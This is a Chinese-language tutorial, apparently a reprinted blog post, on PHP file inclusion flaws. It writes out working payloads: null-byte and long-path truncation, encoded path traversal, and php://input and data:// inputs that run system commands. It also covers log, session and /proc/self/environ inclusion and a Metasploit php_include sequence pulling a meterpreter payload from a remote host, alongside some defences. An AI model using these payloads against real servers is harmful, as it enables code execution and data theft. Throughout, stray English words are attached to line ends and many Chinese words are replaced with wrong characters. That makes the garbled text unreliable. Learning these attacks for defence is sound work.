本文但愿分享一些本地文件包含、远程文件包含、PHP的封装协议(伪协议)中可能包含的漏洞javascript
相关学习资料php
http://www.ibm.com/developerworks/cn/java/j-lo-longpath.html http://hi.baidu.com/casperkid/item/2baf952b13a9cd0e76272cb0 http://hi.baidu.com/txcbg/item/c9549af659b3de0dd99e725e http://cn2.php.net/manual/zh/wrappers.php http://www.wechall.net/
目录html
1. 文件包含的基本概念 2. LFI(Local File Include) 3. RFI(Remote File Include) 4. PHP中的封装协议(伪协议)、PHP的流式文件操做模式所带来的问题
1. 文件包含的基本概念java
严格来讲,文件包含漏洞是"代码注入"的一种。"代码注入"这种攻击,其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行。
"代码注入"的典型代码就是文件包含(File Inclusion),个人理解是叫"外部数据流包含",至于这个外部数据流是什么,能够是文件,也能够是POST数据流的形式。
文件包含可能会出如今JSP,PHP,ASP等语言中。mysql
PHP: include(), include_once, require(), require_once(), fopen(), readfile() JSP/Servlet: ava.io.File(), Java.io.FileReader() ASP: include file, include virtual
在PHP中,当使用这4个函数包含一个新的文件时,该文件将做为PHP代码执行,PHP的内核并不会在乎被包含的文件是什么类型。因此若是被包含的是txt、图片、远程URL。也都会被看成PHP代码执行(图片型木马的原理也就在这里)。linux
要想成功利用文件包含漏洞,须要知足下面的条件
1) include()等函数经过动态变量的方式引入须要包含的文件程序员
(攻击者能够本地变量任意覆盖的漏洞或者自定义前缀的漏洞来达到这个动态引入的漏洞利用)web
example: <?php $file = $_GET['file']; @include_once("$file" . "/templete/tpl.html"); ?> 黑客能够采起: 1) %00、/0截断的方式使程序包含攻击者想要的文件 2) 攻击者输入一个remote url: http://www.evil.com/index.php? ,若是目标服务器开启了allow_url_include = On则这句代码表现为: @include_once("http://www.evil.com/index.php?/templete/tpl.html"); 能够看到,根据HTTP参数的定义,"?"后面的内容被看成了传给这个脚本的参数,从而达到了00截断相同的效果
2) 用户可以控制该动态变量sql
<?php $file = $_GET['file']; @include_once("$file"); ?> 这种状况的利用方式就更多了,接下来我会尽我所能,把我搜集到的资料分享给你们
2. LFI(Local File Include)本地文件包含shell
在探讨本地文件包含的漏洞以前,我以为有必要先一下本地文件包含的做用。在WEB开发中为何要使用本地文件包含,它有什么做用。
通常来讲,本地文件包含(即include)有如下几点做用
1) 将网站页面通用的page_header.php(经常显示banner信息等)、页面尾部page_footer.php(经常显示版权信息等)独立出来,这样在任何页面须要的时候就能够直接经过include方式引入进来,提升了代码的重用性,加快了开发速度 2) 将通用配置文件,例如数据库链接文件database.php单独封装出来,方便须要进行数据库链接的时候就能够直接经过include方式引入进来 3) 将一些涉及到安全过滤、输入检测的代码逻辑单独封装成一个secure.php文件,这样就能够在整个WEB系统中进行统一的安全过滤处理,防止由于各个业务场景的代码逻辑不一致致使的漏洞 4) WEB系统中普遍采用的文件缓存、数据缓存都是经过include方式完成的
了解了LFI的应用场景以后,咱们来学习一下LFI的成因、以及可能产生的安全问题
可以打开并包含本地文件的漏洞,被称为本地文件包含漏洞(Local File Inclusion LFI)
下面是一段测试代码:
<?php // "../../etc/passwd\0" $file = $_GET['file']; if(file_exists('/home/wwwrun/' . $file . '.php')) { inlcude '/home/wwwrun/' . $file . '.php'; } ?>
这个方案看似很安全,程序员把inlcude路径的前缀部分、后缀部分都给控制住了。相比于连路径的前缀都由用户控制的那种漏洞已经安全多了。可是这里存在几个问题
1) 00字符截断
PHP内核是由C语言实现的,所以使用了C语言中的一些字符串处理函数。在链接字符串时,0字节(\x00)将做为字符串的结束符。因此在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量以后的字符串。
../etc/passwd\0
经过web输入时,只需UrlEncode,变成:
../etc/passwd%00
字符串截断的技巧,也是文件包含中最经常使用的技巧
防护方法:
在通常的web应用中,0字节用户实际上是不须要的,所以彻底能够禁用0字节
<?php function getVar($name) { $value = isset($_GET[$name]) ? $_GET[$name] : null; if(is_string($value)) { $value = str_replace("\0", '', $value); } }
?>
2) 超长字符截断
采用00字符过滤并无彻底解决问题,
利用操做系统对目录最大长度的限制,能够不须要0字节而达到截断的目的。
http://www.ibm.com/developerworks/cn/java/j-lo-longpath.html
咱们知道目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度以后的字符将被丢弃。
而利用"./"的方式便可构造出超长目录字符串:
././././././././././././././././abc ////////////////////////abc ..1/abc/../1/abc/../1/abc
延伸一个话题:
这种截断型漏洞我以为和有一种数据库截断的致使越权访问的漏洞相似:
在数据库的表中通常会对某个字段的长度进行限制,若是长度超过了这个长度会被数据库自动截断,若是本来存在一个admin帐户(而且长度限制为5),那么攻击者能够尝试注册admin_test,可是由于数据库的长度限制,致使被截断了,也变成了admin,这种漏洞利用思想就是利用两个系统范围之间的标准不一致致使的绕过思路)
。操做系统把目录字符串的超出部分截断了,反过来致使了攻击者能够任意控制想要输入的文件名
除了incldue()等4个函数以外,PHP中可以对文件进行操做的函数都有可能出现漏洞。虽然大多数状况下不能执行PHP代码,但可以读取敏感文件带来的后果也是比较严重的。例如: fopen()、fread()
0x3: 任意目录遍历
除了这种攻击方式,还可使用"../../../"这样的方式来返回到上层目录中,这种方式又被称为"目录遍历(Path Traversal)"。常见的目录遍历漏洞,还能够经过不一样的编码方式来绕过一些服务器端的防护逻辑(WAF)
%2e%2e%2f -> ../ %2e%2e/ -> ../ ..%2f -> ../ %2e%2e%5c -> ..\ %2e%2e%\ -> ..\ ..%5c -> ..\ %252e%252e%255c -> ..\ ..%255c -> ..\
防护方法:
目录遍历漏洞是一种跨越目录读取文件的方法,但当PHP配置了open_basedir时,将很好地保护服务器,使得这种攻击无效。
open_basedir的做用是限制在某个特定目录下PHP能打开的文件(有点像chroot的感受)
好比在没有设置open_basedir时,文件包含漏洞能够访问任意文件
http://localhost/FIleInclude/index.php?file=../Time/index
当设置了open_basedir时:
open_basedir = E:\wamp\www\FIleInclude\ http://localhost/FIleInclude/index.php?file=../Time/index Warning: file_exists(): open_basedir restriction in effect. File(../Time/index.php) is not within the allowed path(s): (E:\wamp\www\FIleInclude\) in E:\wamp\www\FIleInclude\index.php on line 4 Call Stack 文件包含失败!!!
综上,要防护LFI的漏洞,应该尽可能避免包含动态的变量,尤为是用户能够控制的变量。一种变通的方式,则是使用枚举:
<?php $file = $_GET['file']; //whitelisting possible values switch($file) { case "main": case "foo": case "bar": include "/home/wwwrun/include" . $file . ".php"; break; default: include "/home/wwwrun/include/main.php"; } ?>
这是一种参数化白名单的防护思想。经过将可能的值限定在一个可能的范围内来控制风险。$file的值被枚举出来,也就避免了由于用户的非法输入致使文件包含的风险。
3. RFI(Remote File Include)远程文件包含
远程文件包含本质上和LFI(本地文件包含)是同一个概念,只是被包含的"文件源"(咱们以后会了解到实际上是流源)不是从本次磁盘上得到,而是从外部输入流获得。
若是PHP的配置选项allow_url_include为ON的话,则include/require函数能够加载远程文件,这种漏洞被称为"远程文件包含漏洞(Remote File Inclusion RFI)"。
为了更好地说明,咱们仍是准备一段典型代码:
<?php $basePath = $_GET['path']; require_once $basePath . "/action/m_share.php"; ?>
这里看似将路径的后半段都定死了,可是结合HTTP传参的原理能够绕过去
攻击者能够构造相似以下的攻击URL
http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php?
产生的原理:
/?path=http://localhost/test/solution.php? 最终目标应用程序代码实际上执行了: require_once "http://localhost/test/solution.php?/action/m_share.php"; (注意,这里很巧妙,问号"?"后面的代码被解释成URL的querystring,这也是一种"截断"思想,和%00同样) 攻击者能够在http://localhost/test/solution.php上模拟出相应的路径,从而使之吻合
防护思路:
1. 关闭远程文件包含的配置选项 allow_url_include = Off
关于LFI还有另外一种攻击方式,咱们将在接下来学习了PHP的伪协议封装器、流以后理解到它的原理
4. PHP中的封装协议(伪协议)、PHP的流式文件操做模式所带来的问题
咱们知道,咱们利用远程/本地文件包含漏洞的目的有如下几个:
1) 越权访问文件(/etc/passwd) 1.1) 00截断 1.2) 超长截断 1.3) 目录遍历的攻击方式 2) 任意代码执行 2.1) 经过正常、非正常将一个包含有脚本代码的文件上传到服务器上(经常是.jpg图片格式,将代码藏在图片中),而后在攻击paylaod中引入这个包含脚本代码的文件,使代码得以执行(图片木马) 2.2) 经过包含服务器上的WEB系统本来就存在的.php脚本文件达到改变代码逻辑的目的 2.3) 经过RFI(远程文件包含)将I/O流、协议流的资源描述符做为文件包含的输入源,从而利用HTTP通讯将任意代码注入原始的脚本执行空间中
接下来,咱们将逐一学习PHP中的封装协议
http://cn2.php.net/manual/zh/wrappers.php
PHP 带有不少内置 URL 风格的封装协议(scheme://... ),可用于相似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能经过 stream_wrapper_register() 来注册自定义的封装协议。和javascript在浏览器中实现的一些的伪协议相似,PHP的伪协议提供了另外一种"很是规"的方式进行数据的输入、输出
我对它们进行了一个大体的分类,分别对应于不一样类型的漏洞攻击方式
0x1: 越权访问本地文件
1) file:// — 访问本地文件系统
文件系统是PHP使用的默认封装协议,展示了本地文件系统
<?php $res = file_get_contents("file://E://wamp//www//test//solution.php"); var_dump($res); ?>
这里的要重点注意,file://这个伪协议能够展现"本地文件系统",当存在某个用户可控制、并得以访问执行的输入点时,咱们能够尝试输入file://去试图获取本地磁盘文件
http://www.wechall.net/challenge/crappyshare/index.php
http://www.wechall.net/challenge/crappyshare/crappyshare.php
在这题CTF中,攻击的关键点在于:curl_exec($ch)
function upload_please_by_url($url) { if (1 === preg_match('#^[a-z]{3,5}://#', $url)) # Is URL? { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FAILONERROR, true); if (false === ($file_data = curl_exec($ch))) { htmlDisplayError('cURL failed.'); } else { // Thanks upload_please_thx($file_data); } } else { htmlDisplayError('Your URL looks errorneous.'); } }
当咱们输入的file://参数被带入curl中执行时,本来的远程URL访问会被重定向到本地磁盘上,从而达到越权访问文件的目的
2) php://filter -- 对本地磁盘文件进行读写
php://filter是一种元封装器,设计用于"数据流打开"时的"筛选过滤"应用。这对于一体式(all-in-one)的文件函数很是有用,相似readfile()、file()、file_get_contens(),在数据流内容读取以前没有机会应用其余过滤器
<?php @include($_GET["file"]); ?> url: http://localhost/test/index.php?file=php://filter/read=convert.base64-encode/resource=index.php result: PD9waHAgc3lzdGVtKCdpcGNvbmZpZycpOz8+ (base64解密就能够看到内容,这里若是不进行base64_encode,则被include进来的代码就会被执行,致使看不到源代码)
向磁盘写入文件
<?php /* 这会经过 rot13 过滤器筛选出字符 "Hello World" 而后写入当前目录下的 example.txt */ file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World"); ?> 这个参数采用一个或以管道符 | 分隔的多个过滤器名称
0x2: 代码任意执行
1) php:// — 访问各个输入/输出流(I/O streams)
http://cn2.php.net/manual/zh/wrappers.php.php
PHP 提供了一些杂项输入/输出(IO)流,容许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及能够操做其余读取写入文件资源的过滤器。
1.1) php://input
php://input 是个能够访问请求的原始数据的只读流(这个原始数据指的是POST数据)
<?php $res = file_get_contents("php://input"); var_dump($res); ?> post提交数据:hello result: hello
伪协议php://input须要服务器支持,同时要求"allow_url_include"设置为"On"
利用伪协议的这种性质,咱们能够将LFI衍生为一个code excute漏洞
http://www.freebuf.com/articles/web/14097.html#comment-16863
<?php @eval(file_get_contents('php://input')) ?> http://localhost/test/index.php post: system("dir"); result: list directory
这本质上远程文件包含的利用,咱们知道,远程文件包含中的include接收的是一个"资源定位符",在大多数状况下这是一个磁盘文件路径,可是从流的角度来看,这也能够是一个流资源定位符,即咱们将include待包含的资源又重定向到了输入流中,从而能够输入咱们的任意code到include中
<?php @include($_GET["file"]); ?> http://localhost/test/index.php?file=php://input post: <?php system('ipconfig');?> result: ip information
(有一点要注意)
<?php echo file_get_contents("solution.php");?>
在利用文件包含进行代码执行的时候,咱们经过file_get_contents获取到的文件内容,若是是一个.php文件,会被看成include的输入参数,也就意味着会被再执行一次,则咱们没法看到原始代码了,解决这个问题的方法就是使用base64_encode进行编码
<?php echo base64_encode(file_get_contents("solution.php"));?>
php://伪协议框架中还有其余的流,可是和源代码执行彷佛没有关系,这里也列出来你们一块儿学习吧
php://output是一个只写的数据流,容许咱们以print和echo同样的方式写入到输出缓冲区
<?php $data = "hello LittleHann"; $res = file_put_contents("php://output", $data); ?> result: hello LittleHann
php://memory和php://temp是一个相似"文件包装器"的数据流,容许读写"临时数据"。二者惟一的区别是:
1) php://memory 老是把数据存储在内存中 2) php://temp会在内存量达到预约义的限制后(默认是2M)存入临时文件中
临时文件位置的决定和sys_get_temp_dir()的方式一致(upload_tmp_dir = "E:/wamp/tmp")
<?php $fp = fopen("php://memory", 'r+'); fputs($fp, "hello LittleHann!!!\n"); rewind($fp); while(!feof($fp)) { echo fread($fp, 1024); } fclose($fp); ?> result: hello LittleHann!!!
2) data://伪协议
http://www.php.net/manual/zh/wrappers.data.php
这是一种数据流封装器,data:URI schema(URL schema能够是不少形式)
利用data://伪协议进行代码执行的思路原理和php://是相似的,都是利用了PHP中的流的概念,将本来的include的文件流重定向到了用户可控制的输入流中
data:text/plain,...
<?php @include($_GET["file"]); ?> url: http://localhost/test/wrapper.php?file=data:text/plain,<?php system("net user")?> result: user information
data://text/base64,...
<?php @include($_GET["file"]); ?> url: http://localhost/test/wrapper.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJuZXQgdXNlciIpPz4= result: user information
data://image/jpeg;base64,...
<?php $jpegimage = imagecreatefromjpeg("data://image/jpeg;base64," . base64_encode($sql_result_array['imagedata'])); ?> 图片木马
0x3: 目录遍历
1) glob://伪协议
glob:// 查找匹配的文件路径模式
<?php // 循环 ext/spl/examples/ 目录里全部 *.php 文件 // 并打印文件名和文件尺寸 $it = new DirectoryIterator("glob://E:\\wamp\\www\\test\\*.php"); foreach($it as $f) { printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024); } ?>
5. 文件包含可能存在的其余利用方式
这里用"可能"存在是由于有些利用方式和WEB系统的具体业务场景、代码逻辑、服务器的版本、配置有关,不具备通用性
0x1: 包含Session文件
包含Session文件的条件也较为苛刻,它须要攻击者可以"控制"部分Session文件的内容。 x|s:19:"<?php phpinfo(); ?>" PHP默认生成的Session文件每每存放在/tmp目录下 /tmp/sess_SESSIONID
0x2: 包含日志文件,好比Web Server的access.log
包含日志文件是一种比较灵活的技巧,由于服务器通常都会往web server的access_log里记录客户端的请求信息,在error_log里记录出错信息。所以攻击者能够间接地将PHP代码写入到日志文件中,在文件包含时,只须要包含日志文件便可
织梦CMS的一个利用mysql的错误语句,而后程序会把错误信息写入到网站的目录下的一个.php文件中。攻击者只要在这此的错误请求中附带上PHP代码,就能够达到getshell的目的,就是这个思路 http://sebug.net/vuldb/ssvid-12154 利用了MySQL字段数值溢出引起错误和DEDECMS用PHP记录数据库错误信息而且文件头部没有验证的漏洞
MSF攻击模块
use exploit/unix/webapp/php_include set rhost 192.168.159.128 set rport 80 set phpuri /index.php?file=xxLFIxx set path http://172.18.176.147/ set payload php/meterpreter/bind_tcp set srvport 8888 exploit -z
0x3: 包含/proc/self/environ文件
包含/proc/self/environ是一种更通用的方法,由于它根本不须要猜想包包含文件的路径,同时用户也能控制它的内容。
http://192.168.159.128/index.php?file=../../../../../../../proc/self/environ SSH_AGENT_PID=4314 HOSTNAME=localhost.localdomain DESKTOP_STARTUP_ID=TERM=xtermSHELL=/bin/bash HISTSIZE=1000KDE_NO_IPV6=1GTK_RC_FILES=/etc/gtk/gtkrc:/root/.gtkrc-1.2-gnome2WINDOWID=26239249USER=rootLS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00;32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:GNOME_KEYRING_SOCKET=/tmp/keyring-SlrelE/socketSSH_AUTH_SOCK=/tmp/ssh-lFKDab4288/agent.4288KDEDIR=/usrSESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/4288MAIL=/var/spool/mail/rootPATH=/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/binINPUTRC=/etc/inputrcPWD=/var/log/httpdXMODIFIERS=@im=noneLANG=en_US.UTF-8KDE_IS_PRELINKED=1SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpassSHLVL=3HOME=/rootGNOME_DESKTOP_SESSION_ID=DefaultLOGNAME=rootCVS_RSH=sshDBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-WIFRtyS0Yc,guid=4ede99c74b6a8ca1097e5500527437aeLESSOPEN=|/usr/bin/lesspipe.sh %sDISPLAY=:0.0G_BROKEN_FILENAMES=1COLORTERM=gnome-terminalXAUTHORITY=/root/.Xauthority_=/bin/catOLDPWD=/var/log
0x4: 包含上传的临时文件(RFC1867)
但PHP建立的上传临时文件,每每处于PHP容许访问的目录范围内。
PHP处理上传文件的过程是这样的:
HTTP POST with a file arrives PHP begins analysis PHP creates temp file PHP writes data to temp file PHP close temp file script execution begins [optional] script moves uploaded file script execution ends PHP removes temp files(if any)
PHP会为上传文件建立临时文件,其目录在php.ini的upload_tmp_dir中定义。但该值默认为空,此时在linux下会使用/tmp目录,在windows下会使用C:\windows\temp目录。
该临时文件的文件名是随机的,攻击者必须准确猜想出该文件名才能成功利用此漏洞(以前分析的伪随机数漏洞)。
PHP在此处并无使用安全的随机函数,所以使得暴力猜解文件名成为可能。在windows下,仅有65535种不一样的文件名。
http://www.exploit-db.com/download_pdf/17010/
在Sun Java 6 Update 11以前的createTempFile()中存在一个随机数可预测的问题,在短期内生成的随机数其实是顺序增加的
http://hi.baidu.com/aullik5/item/2f851fc4bf9f3266f7c95dc2
import java.io.*; public class getTemp { public static void main(String[] args) { File f = null; String extension = ".tmp"; try { for(int i = 0; i < 100; i++) { f = File.createTempFile("temp", extension); System.out.println(f.getPath()); } } catch(IOException e) { // } } }
6. 后记
本文对文件包含的学习就到这里了,这里推荐一个网站,国外办的一个长期的learning site,题目蛮不错的,能够学到很多东西
http://www.wechall.net/challenge/warchall/live_rfi/index.php http://www.wechall.net/challenge/warchall/live_lfi/index.php
下一步准备学习一下java,struct开发相关的知识,但愿之后能涉及一些java方面的代码审计,渗透技巧
Copyright (c) 2014 LittleHann All rights reserved
Link: http://www.cnblogs.com/LittleHann/p/3665062.html